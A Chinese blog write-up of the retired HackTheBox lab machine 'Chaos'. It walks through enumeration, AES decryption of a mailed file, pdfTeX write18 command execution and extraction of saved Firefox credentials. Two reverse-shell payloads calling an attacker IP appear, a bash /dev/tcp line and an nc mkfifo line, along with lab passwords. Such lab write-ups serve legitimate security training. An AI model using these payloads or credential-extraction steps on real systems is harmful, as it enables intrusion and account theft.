大数跨境
0
0

HackTheBox chaos writeup

HackTheBox chaos writeup 黑伞安全服务商
2019-09-24
3
导读:大家好,我是大白,鉴于在强网杯中受到了打击,决定努力提升一下自己姿势水平!


大家好,我是大白,鉴于在强网杯中受到了打击,决定努力提升一下自己姿势水平,先去hackthebox刷一波退役靶机

首先是chaos,这个靶机之前还激活的时候打过,不过没有打下来,先照着官方给出的wp复现一下。

国际惯例,拿到靶机,跑一下端口,这里可以使用以下命令进行快速的全端口扫描:

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.120 | grep ^[0-9] |  cut -d '/' -f 1 | tr '\n'  ',' | sed s/,$//)           //全端口扫描

nmap -sV -sC -T4 10.10.10.120 -p $ports        //针对扫出的端口进行漏扫

     

                     

得到80,110,143,993,995,10000等开放端口,也就是说靶机开放了web,邮件等服务,首先我们从80端口入手


访问80发现提示直连ip是不允许的,那么按照hackthebox的惯例,网站的域名为靶机名.htb,我们添加到/etc/hosts中



再次通过域名访问,得到以下网站


接下来对ip和域名都进行目录爆破,这里我们使用了工具gobuster,字典使用了directory-list-2.3-medium.txt。

./gobuster -u http://10.10.10.120 -w  /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100


使用域名的目录爆破中没有得到有用的信息,但是使用ip的目录爆破中发现了/wp目录,跟随跳转进入此页面


页面中存在一个密码保护的文本,那么我们接下来就是要找到这个密码,因为可以从url得知这个网站是使用wordpress构建的,那么我们先使用wpscan扫描一下

wpscan --url http://10.10.10.120/wp/wordpress -e

没有发现有用的漏洞,但是发现了一个用户 human

我们使用这个用户作为密码,成功拿到了保护的文本


文本提供了webmail的登陆凭证,让我们回到端口扫描看一下,webmail使用的服务是Dovecot服务,我们找一个可以连接该服务的客户端,这里使用了thunderbird,按照如下配置连接服务器

输入刚才得到的账号密码

成功登陆到邮件服务器,查看收件箱和已发邮件均为空,查看草稿箱发现了一封service邮件,邮件给出了两个附件,并给出提示“You are the password”,意思是使用python脚本对明文进行了加密。

脚本使用了AES算法对明文进行加密,并且将加密使用的IV放入了文件中,那么我们就可以从文件中获取到iv值,那么密钥key呢,邮件中提示“你就是密码”,那么我们使用给出的getKey()函数就可以得到加密使用的key值。

def encrypt(key, filename):

    chunksize = 64*1024

    outputFile =  "en" + filename

    filesize =  str(os.path.getsize(filename)).zfill(16)

    IV  =Random.new().read(16)

    encryptor = AES.new(key,  AES.MODE_CBC, IV)

    with open(filename,  'rb') as infile:

        with open(outputFile,  'wb') as outfile:

             outfile.write(filesize.encode('utf-8'))

             outfile.write(IV)

            while True:

                chunk =  infile.read(chunksize)

                if  len(chunk) == 0:

                    break

                elif  len(chunk) % 16 != 0:

                    chunk +=  b' ' * (16 - (len(chunk) % 16))

                 outfile.write(encryptor.encrypt(chunk))

def getKey(password):

            hasher =  SHA256.new(password.encode('utf-8'))

            return  hasher.digest()

根据以上分析编写解密脚本,aes解密后得到base64编码,再使用base64解码得到明文文本如下

#coding: utf8

from Crypto.Cipher import AES

from Crypto.Hash import SHA256

import base64

class mydecrypt():

    def __init__(self, key,  iv):

        self.key = key

        self.mode = AES.MODE_CBC

        self.iv = iv

    #解密后,去掉补足的空格用strip() 去掉

    def decrypt(self, text):

        cryptor =  AES.new(self.key, self.mode, self.iv)

        plain_text =  cryptor.decrypt(text)

        return  plain_text.rstrip(b' ')

def getKey(password):

    hasher =  SHA256.new(password.encode('utf-8'))

    return hasher.digest()

if __name__ == '__main__':

    chunksize = 64*1024

    with  open('enim_msg.txt','rb') as infile:

        with  open('msg.txt','wb') as outfile:

            filesize =  infile.read(16)

            iv =  infile.read(16)

            mydec =  mydecrypt(getKey('sahay'),iv)

            msg = b''

            while True:

                chunk =  infile.read(chunksize)

                if  len(chunk) == 0:

                    break

                msg += mydec.decrypt(chunk)

             outfile.write(base64.b64decode(msg))

 

意思是搞了个创建pdf的服务,还搞了个这么变态url,好吧,那我们访问一下

 

随便输了几个字符点击生成pdf,根据返回包可以看出这个服务使用了pdfTeX构建,那我们搜索一下这个组件是否存在漏洞呢,答案是肯定的,根据国外大佬的文章,我们可以看到在开启write18的情况下,可以直接执行系统命令,ok,shell在向我招手

这里测试一下id命令的执行效果


那么我们可以利用bash直接反弹一个shell

\immediate\write18{bash -c 'sh -i  &>/dev/tcp/10.10.14.3/7777 0>&1'}

也可以利用nc管道反弹shell

\immediate\write18{ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh  -i 2>&1|nc 10.10.14.3 4444 >/tmp/f}

监听shell,然后使用python创建一个交互式的shell

然后使用webmail的凭证登陆ayush用户

当我们再次ls的时候,发现ls命令不见了,shell也给出了提示,ls命令所在的目录并没有在PATH环境变量里,导致系统找不到这个命令

那我们看一眼PATH里面有什么

我的妈耶,还真干净,既然如此,找一台正常的linux,echo $PATH获取环境变量,然后导入到当前环境里,ok,搞定。

User.txt flag get

那么我们还需要root权限。查看当前路径下发现一个文件夹比较有趣,”.mozilla”文件夹,是firefox浏览器的缓存文件夹,其中可能保存某些登陆凭证,那么我们把它拿下来研究一下。

使用zip和nc 打包下载安排上。

zip -r /tmp/firefox.zip ~/.mozilla/

Github中有项目可以在本地解析firefox的缓存文件,分析其中的登陆凭证。我们使用firefox_decrypt进行解析,输入的密码同样是我们登陆使用的凭证密码jiujitsu

git clone https://github.com/unode/firefox_decrypt

python firefox_decrypt.py /root/home/ayush/.mozilla/firefox/

Ok解析完毕,拿到了我们一开始没用到的10000端口,并且用户名是root,嘿嘿,登录上去

直接找到命令执行的位置,至此root.txt get~~

这个靶机主要考察了目录爆破、wordpress框架、AES加解密、RCE漏洞、缺失环境变量的shell环境、firefox缓存文件信息泄露等,虽然知识点都不是很难,但是靶机一环扣一环,如果思路不对的话很容易就走到死胡同里,还是要先多看看一些writeup,学习常见的思路和攻击手法


马上写一个花式提权playbook 来满足一下大白以后不被提权

商务合作(安全培训、安服、咨询审计)

微信号:gnosismask

自己搞了一个公司,主营业务培训,安服!

大家关注一下哦!云安教育专注信息安全人才培养


云安教育招生啦  大家想学信息安全的同学联系我哦


【声明】内容源于网络
0
0
黑伞安全服务商
(黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
内容 366
粉丝 0
黑伞安全服务商 (黑伞安全服务商)BLKUMBRA致力于全球高净值人群安全防护领域的领军者,以"科技赋能安全,专业守护卓越"为核心理念,为企业家、政商领袖、科学界精英、高管、娱乐明星、医学人士、教授、律师等精英阶层提供全维度安全解决方案。
总阅读129
粉丝0
内容366